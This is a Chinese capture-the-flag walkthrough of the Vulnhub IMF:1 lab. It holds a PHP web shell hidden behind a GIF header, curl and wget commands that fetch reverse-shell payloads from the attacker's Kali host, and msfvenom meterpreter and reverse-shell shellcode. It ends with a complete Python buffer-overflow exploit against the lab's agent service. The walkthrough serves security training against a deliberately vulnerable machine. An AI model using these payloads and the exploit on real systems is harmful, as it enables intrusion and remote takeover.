Vulnhub-靶机-IMF: 1

北城余情 提交于 2020-12-12 10:02:18

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现

地址:https://www.vulnhub.com/entry/imf-1,162/

nmap -p- -n -sC -sV 192.168.5.145 -o imf.nmap

目录猜解没有猜解出来,看看目标web

 有3个选项卡,分别点击3个选项卡网页上发现什么敏感内容,尝试看每个网页的源代码,发现contact.php的源码页面看到第一个flag

flag1{YWxsdGhlZmlsZXM=}
YWxsdGhlZmlsZXM= 根据特征可以猜测是base64进行编码的,这里进行解码看看
解码后的信息如下:

allthefiles

通过搜索页面的等号发现另一个base64编码的信息

解码后结果

 yYXRvcg==}  发现解码出来的信息还是类似base64编码,感觉问题很大,不像是base64编码,然后想了想,发现如下信息可能是连贯的

将其拼接起来解码看看 ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==

得出了flag2 

flag2{aW1mYWRtaW5pc3RyYXRvcg==}   将aW1mYWRtaW5pc3RyYXRvcg== 解码后得出 imfadministrator

根据上面得到的imfadministrator 放在web上试试看,发现可以访问,显示一个登陆页面

根据目标靶机上的URL,显示的联系人,使用burp进行暴力破解,无果,然后更改密码作为数组为空传给服务端试试

得出falg3的base64编码Y29udGludWVUT2Ntcw==  将其解码得出如下结果:

continueTOcms

得到上述结果的时候显示的页面提供了一个cms页面

访问看看

访问这个cms的结果如下:

初次看到这类带问号的页面, 丢了一个单引号过去,发现存在sql注入漏洞

这种情况就直接使用sqlmap进行注入,不过这里得注意了,因为是登陆之后发现的注入点,那么在注入的时候是需要带入登陆成功的cookie,所以我这直接复制保存对应的http请求包使用sqlmap -r参数进行注入

GET /imfadministrator/cms.php?pagename=disavowlist HTTP/1.1
Host: 192.168.5.145
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.5.145/imfadministrator/cms.php?pagename=home
Cookie: PHPSESSID=tilm340t4jb64ubgal047l74h4
Connection: close

最终我使用了如下测试参数获取了目标信息:

sqlmap -r flag3imfsqlinj.txt --smart --batch -D admin -T pages -C id,pagedata,pagename --dump-all  

具体sqlmap使用操作可以看我的公众号或者B站视频都有介绍

根据注入的结果获得图片的路径

http://192.168.5.145/imfadministrator/images/whiteboard.jpg

看到图片上有二维码,拿起手机扫描下二维码,得出 flag4{dXBsb2Fkcjk0Mi5waHA=}

将上面的base64编码进行解码得出结果为:uploadr942.php

然后试着访问http://192.168.5.145/imfadministrator/uploadr942.php 发现居然可以访问

上述是个上传页面,我们尝试上传看看,经过尝试,先上传一个正常的图片使用burp抓包,然后使用如下代码通过burp重放上传成功执行命令的shell

GIF89a
<?php $cmd=$_GET['cmd']; print(`$cmd`); ?>

 

获得 flag5{YWdlbnRzZXJ2aWNlcw==}  将此编码进行解码得到结果是:agentservices

这里使用反弹shell方式反弹到了本地kali,类似如下操作

使用kali自身php反弹shell脚本
cp /usr/share/webshells/php/php-reverse-shell.php shellbmfx.php
将上述代码监听的本地IP地址改为kali的IP地址192.168.5.130 监听端口是8855
当前目录执行php脚本开启简易web服务器
php -S 192.168.5.130:4488
本地kali监听端口
nc -lvnp 8855

curl%20-O%20http://192.168.5.130:4488/shellimf.txt;mv%20shellimf.txt%20shellimf2.php

下载到目标靶机然后访问即可反弹

拿到反弹shell权限,方便操作之后开始根据提示进行搜索

看着这一生像是有代理服务,既然有了目标靶机的权限可以尝试看看,搜索一下

使用命令如下:find / -name agent &>/dev/null

发现关键字agent,找到如下信息:

查看access_codes 发现有3个端口,这意思又是要使用knock进行敲击

使用knock进行敲击

多敲击了几次,然后再使用nmap进行7788端口扫描,因为拿到目标的权限查看网络连接获得开放代理的端口就是7788

 

 

这里为了方便使用metasploit玩玩,使用它的端口转发功能玩下,大致操作命令如下:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.5.130 LPORT=4444 -f elf > bmfximfexp

php -S 192.168.5.130:4488

wget http://192.168.5.130:4488/bmfximfexp
chmod 777 bmfximfexp

下载到目标靶机之后执行

./bmfximfexp

成功通过metasploit反弹

使用metasploit将目标靶机7788端口进行了端口转发到本地

然后可以通过nc的方式或者metasploit的方式将目标靶机的agent文件下载到本地kali下进行分析

nc -l -p 9999 > agent
nc 192.168.1.124 9999 < /usr/local/bin/agent

获取了agent在本地进行分析,这方面我不是太擅长,先放着,需要看分析的可以移步至下列地址观看

https://g0blin.co.uk/imf-vulnhub-writeup/

https://habr.com/en/post/318814/

https://acebombersecurity.wordpress.com/2016/11/06/imf-1-walkthrough-vulnhub/

通过生成shellcode 代码

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.5.130 LPORT=8877 -f python -b "\x00\x0a\x0d"

kali@kali:~/Downloads/imf$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.5.130 LPORT=8877 -f python -b "\x00\x0a\x0d"
[
-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[
-] No arch selected, selecting arch: x86 from the payload
Found
11 compatible encoders
Attempting to encode payload with
1 iterations of x86/shikata_ga_nai
x86
/shikata_ga_nai succeeded with size 95 (iteration=0)
x86
/shikata_ga_nai chosen with final size 95
Payload size:
95 bytes
Final size of python
file: 479 bytes
buf
= b""
buf
+= b"\xb8\x55\xf0\x23\x37\xda\xd3\xd9\x74\x24\xf4\x5a\x2b"
buf
+= b"\xc9\xb1\x12\x83\xea\xfc\x31\x42\x0e\x03\x17\xfe\xc1"
buf
+= b"\xc2\xa6\x25\xf2\xce\x9b\x9a\xae\x7a\x19\x94\xb0\xcb"
buf
+= b"\x7b\x6b\xb2\xbf\xda\xc3\x8c\x72\x5c\x6a\x8a\x75\x34"
buf
+= b"\xad\xc4\x83\x46\x45\x17\x8c\x64\x3b\x9e\x6d\xd8\x25"
buf
+= b"\xf1\x3c\x4b\x19\xf2\x37\x8a\x90\x75\x15\x24\x45\x59"
buf
+= b"\xe9\xdc\xf1\x8a\x22\x7e\x6b\x5c\xdf\x2c\x38\xd7\xc1"
buf
+= b"\x60\xb5\x2a\x81"

对应写好的Python利用代码如下:

 这里地址需要更改为实际情况的地址,因为我这里使用了端口转发的方式将目标靶机的端口转发到本地,所以是写的本地地址

import socket
client
= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((
'localhost', 7788))
client.recv(
512)
client.send(
"48093572\n")
client.recv(
512)
client.send(
"3\n")
client.recv(
512)

# shellcode from msfvenom
buf = b""
buf
+= b"\xb8\x55\xf0\x23\x37\xda\xd3\xd9\x74\x24\xf4\x5a\x2b"
buf
+= b"\xc9\xb1\x12\x83\xea\xfc\x31\x42\x0e\x03\x17\xfe\xc1"
buf
+= b"\xc2\xa6\x25\xf2\xce\x9b\x9a\xae\x7a\x19\x94\xb0\xcb"
buf
+= b"\x7b\x6b\xb2\xbf\xda\xc3\x8c\x72\x5c\x6a\x8a\x75\x34"
buf
+= b"\xad\xc4\x83\x46\x45\x17\x8c\x64\x3b\x9e\x6d\xd8\x25"
buf
+= b"\xf1\x3c\x4b\x19\xf2\x37\x8a\x90\x75\x15\x24\x45\x59"
buf
+= b"\xe9\xdc\xf1\x8a\x22\x7e\x6b\x5c\xdf\x2c\x38\xd7\xc1"
buf
+= b"\x60\xb5\x2a\x81"

# padding
buf += "A" * (168 - len(buf))

# call eax gadget
buf += "\x63\x85\x04\x08\n"
client.send(buf)

然后在kali上执行

执行执行使用nc本地监听端口

成功拿到flag6

flag6{R2gwc3RQcm90MGMwbHM=}

 

 

 

 


本文分享自微信公众号 - 白帽安全技术复现(baimaofuxian)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!